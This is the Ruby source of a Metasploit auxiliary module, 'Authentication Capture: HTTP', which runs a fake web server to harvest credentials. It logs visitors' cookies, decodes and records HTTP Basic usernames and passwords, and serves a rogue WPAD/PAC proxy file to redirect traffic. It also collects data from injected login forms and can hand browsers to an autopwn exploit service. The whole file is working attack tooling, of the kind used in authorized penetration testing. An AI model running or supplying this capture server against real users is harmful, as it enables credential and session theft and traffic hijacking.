## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report def initialize super( 'Name' => 'Authentication Capture: HTTP', 'Version' => '$Revision$', 'Description' => %q{ This module provides a fake HTTP service that is designed to capture authentication credentials. }, 'Author' => ['ddz', 'hdm'], 'License' => MSF_LICENSE, 'Actions' => [ [ 'Capture' ] ], 'PassiveActions' => [ 'Capture' ], 'DefaultAction' => 'Capture' ) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), OptPath.new('TEMPLATE', [ false, "The HTML template to serve in responses", File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "index.html") ] ), OptPath.new('SITELIST', [ false, "The list of URLs that should be used for cookie capture", File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "sites.txt") ] ), OptPath.new('FORMSDIR', [ false, "The directory containing form snippets (example.com.txt)", File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "forms") ] ), OptAddress.new('AUTOPWN_HOST',[ false, "The IP address of the browser_autopwn service ", nil ]), OptPort.new('AUTOPWN_PORT',[ false, "The SRVPORT port of the browser_autopwn service ", nil ]), OptString.new('AUTOPWN_URI',[ false, "The URIPATH of the browser_autopwn service ", nil ]), ], self.class) end # Not compatible today def support_ipv6? false end def run @formsdir = datastore['FORMSDIR'] @template = datastore['TEMPLATE'] @sitelist = datastore['SITELIST'] @myhost = datastore['SRVHOST'] @myport = datastore['SRVPORT'] @myautopwn_host = datastore['AUTOPWN_HOST'] @myautopwn_port = datastore['AUTOPWN_PORT'] @myautopwn_uri = datastore['AUTOPWN_URI'] @myautopwn = false if(@myautopwn_host and @myautopwn_port and @myautopwn_uri) @myautopwn = true end print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...") exploit() end def on_client_connect(c) c.extend(Rex::Proto::Http::ServerClient) c.init_cli(self) end def on_client_data(cli) begin data = cli.get_once(-1, 5) raise ::Errno::ECONNABORTED if !data or data.length == 0 case cli.request.parse(data) when Rex::Proto::Http::Packet::ParseCode::Completed dispatch_request(cli, cli.request) cli.reset_cli when Rex::Proto::Http::Packet::ParseCode::Error close_client(cli) end rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET rescue ::OpenSSL::SSL::SSLError rescue ::Exception print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") end close_client(cli) end def close_client(cli) cli.close # Require to clean up the service properly raise ::EOFError end def dispatch_request(cli, req) phost = cli.peerhost os_name = nil os_type = nil os_vers = nil os_arch = 'x86' ua_name = nil ua_vers = nil ua = req['User-Agent'] case (ua) when /rv:([\d\.]+)/ ua_name = 'FF' ua_vers = $1 when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]+\.[0-9]+)/ ua_name = 'IE' ua_vers = $1 when /Version\/(\d+\.\d+\.\d+).*Safari/ ua_name = 'Safari' ua_vers = $1 end case (ua) when /Windows/ os_name = 'Windows' when /Linux/ os_name = 'Linux' when /iPhone/ os_name = 'iPhone' os_arch = 'armle' when /Mac OS X/ os_name = 'Mac' end case (ua) when /PPC/ os_arch = 'ppc' end os_name ||= 'Unknown' mysrc = Rex::Socket.source_address(cli.peerhost) hhead = (req['Host'] || @myhost) if req.resource =~ /^http\:\/+([^\/]+)(\/*.*)/ hhead = $1 req.resource = $2 end if hhead =~ /^(.*):(\d+)\s*$/ hhead = $1 nport = $2.to_i end @myport = nport || 80 cookies = req['Cookie'] || '' if(cookies.length > 0) report_note( :host => cli.peerhost, :type => "http_cookies", :data => hhead + " " + cookies, :update => :unique_data ) end if(req['Authorization'] and req['Authorization'] =~ /basic/i) basic,auth = req['Authorization'].split(/\s+/) user,pass = Rex::Text.decode_base64(auth).split(':', 2) report_auth_info( :host => cli.peerhost, :port => @myport, :sname => (ssl ? "https" : "http"), :user => user, :pass => pass, :source_type => "captured", :active => true ) report_note( :host => cli.peerhost, :type => "http_auth_extra", :data => req.resource.to_s, :update => :unique_data ) print_status("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}") end if(req.resource =~ /^\/*wpad.dat|.*\.pac$/i) prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }" res = "HTTP/1.1 200 OK\r\n" + "Host: #{hhead}\r\n" + "Content-Type: application/x-ns-proxy-autoconfig\r\n" + "Content-Length: #{prx.length}\r\n" + "Connection: Close\r\n\r\n#{prx}" print_status("HTTP wpad.dat sent to #{cli.peerhost}") cli.put(res) return end if(req.resource =~ /\/+formrec\/(.*)/i) data = Rex::Text.uri_decode($1).split("\x00").join(", ") report_note( :host => cli.peerhost, :type => "http_formdata", :data => hhead + " " + data, :update => :unique_data ) res = "HTTP/1.1 200 OK\r\n" + "Host: #{hhead}\r\n" + "Content-Type: text/html\r\n" + "Content-Length: 4\r\n" + "Connection: Close\r\n\r\nBYE!" print_status("HTTP form data received for #{hhead} from #{cli.peerhost} (#{data})") cli.put(res) return end report_note( :host => cli.peerhost, :type => "http_request", :data => "#{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}", :update => :unique_data ) print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers} cookies=#{cookies}") if(req.resource =~ /\/+forms.html$/) frm = inject_forms(hhead) res = "HTTP/1.1 200 OK\r\n" + "Host: #{hhead}\r\n" + "Content-Type: text/html\r\n" + "Content-Length: #{frm.length}\r\n" + "Connection: Close\r\n\r\n#{frm}" cli.put(res) return end # http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt if(req.resource == "/update/PatchSequenceFile.txt") print_status("HTTP #{cli.peerhost} is trying to play World of Warcraft") end # Microsoft 'Network Connectivity Status Indicator' Vista if (req['Host'] == 'www.msftncsi.com') print_status("HTTP #{cli.peerhost} requested the Network Connectivity Status Indicator page (Vista)") data = "Microsoft NCSI" res = "HTTP/1.1 200 OK\r\n" + "Host: www.msftncsi.com\r\n" + "Expires: 0\r\n" + "Cache-Control: must-revalidate\r\n" + "Content-Type: text/html\r\n" + "Content-Length: #{data.length}\r\n" + "Connection: Close\r\n\r\n#{data}" cli.put(res) return end =begin # Apple 'Network Status' Check (prevents a pop-up safari on the iphone) if(req['Host'] == 'www.apple.com' and req.resource == '/library/test/success.html') data = "\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x48\x54\x4d\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x22\x2d\x2f\x2f\x57\x33\x43\x2f\x2f\x44\x54\x44\x20\x48\x54\x4d\x4c\x20\x33\x2e\x32\x2f\x2f\x45\x4e\x22\x3e\x0a\x3c\x48\x54\x4d\x4c\x3e\x0a\x3c\x48\x45\x41\x44\x3e\x0a\x09\x3c\x54\x49\x54\x4c\x45\x3e\x53\x75\x63\x63\x65\x73\x73\x3c\x2f\x54\x49\x54\x4c\x45\x3e\x0a\x3c\x2f\x48\x45\x41\x44\x3e\x0a\x3c\x42\x4f\x44\x59\x3e\x0a\x53\x75\x63\x63\x65\x73\x73\x0a\x3c\x2f\x42\x4f\x44\x59\x3e\x0a\x3c\x2f\x48\x54\x4d\x4c\x3e\x0a" res = "HTTP/1.1 200 OK\r\n" + "Host: www.apple.com\r\n" + "Expires: 0\r\n" + "Cache-Control: must-revalidate\r\n" + "Content-Type: text/html\r\n" + "Content-Length: #{data.length}\r\n" + "Connection: Close\r\n\r\n#{data}" cli.put(res) return end =end # Microsoft ActiveX Download if (req['Host'] == 'activex.microsoft.com') print_status("HTTP #{cli.peerhost} attempted to download an ActiveX control") data = "" res = "HTTP/1.1 404 Not Found\r\n" + "Host: #{mysrc}\r\n" + "Content-Type: application/octet-stream\r\n" + "Content-Length: #{data.length}\r\n" + "Connection: Close\r\n\r\n#{data}" cli.put(res) return end # Sonic.com's Update Service if (req['Host'] == 'updateservice.sonic.com') print_status("HTTP #{cli.peerhost} is running a Sonic.com product that checks for online updates") end # The google maps / stocks view on the iPhone if (req['Host'] == 'iphone-wu.apple.com') case req.resource when '/glm/mmap' print_status("HTTP #{cli.peerhost} is using Google Maps on the iPhone") when '/dgw' print_status("HTTP #{cli.peerhost} is using Stocks/Weather on the iPhone") else print_status("HTTP #{cli.peerhost} is request #{req.resource} via the iPhone") end end # The itunes store on the iPhone if(req['Host'] == 'phobos.apple.com') print_status("HTTP #{cli.peerhost} is using iTunes Store on the iPhone") # GET /bag.xml end # Handle image requests ctypes = { "jpg" => "image/jpeg", "jpeg" => "image/jpeg", "png" => "image/png", "gif" => "image/gif", } req_ext = req.resource.split(".")[-1].downcase if(ctypes[req_ext]) ctype = ctypes['gif'] data = "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00" + "\x00\xff\xff\xff\xff\xff\xff\x2c\x00\x00\x00\x00" + "\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b" res = "HTTP/1.1 200 OK\r\n" + "Host: #{mysrc}\r\n" + "Content-Type: #{ctype}\r\n" + "Content-Length: #{data.length}\r\n" + "Connection: Close\r\n\r\n#{data}" cli.put(res) return end buff = '' if(@myautopwn) buff << "" end list = File.readlines(@sitelist) list.each do |site| next if site =~ /^#/ site.strip! next if site.length == 0 buff << "" end data = File.read(@template) data.gsub!(/%CONTENT%/, buff) res = "HTTP/1.1 200 OK\r\n" + "Host: #{mysrc}\r\n" + "Expires: 0\r\n" + "Cache-Control: must-revalidate\r\n" + "Content-Type: text/html\r\n" + "Content-Length: #{data.length}\r\n" + "Connection: Close\r\n\r\n#{data}" cli.put(res) return end def inject_forms(site) domain = site.gsub(/(\.\.|\\|\/)/, "") domain = "www." + domain if domain !~ /^www/i while(domain.length > 0) form_file = File.join(@formsdir, domain) + ".txt" form_data = "" if (File.readable?(form_file)) form_data = File.read(form_file) break end parts = domain.split(".") parts.shift domain = parts.join(".") end %|
#{form_data} | end end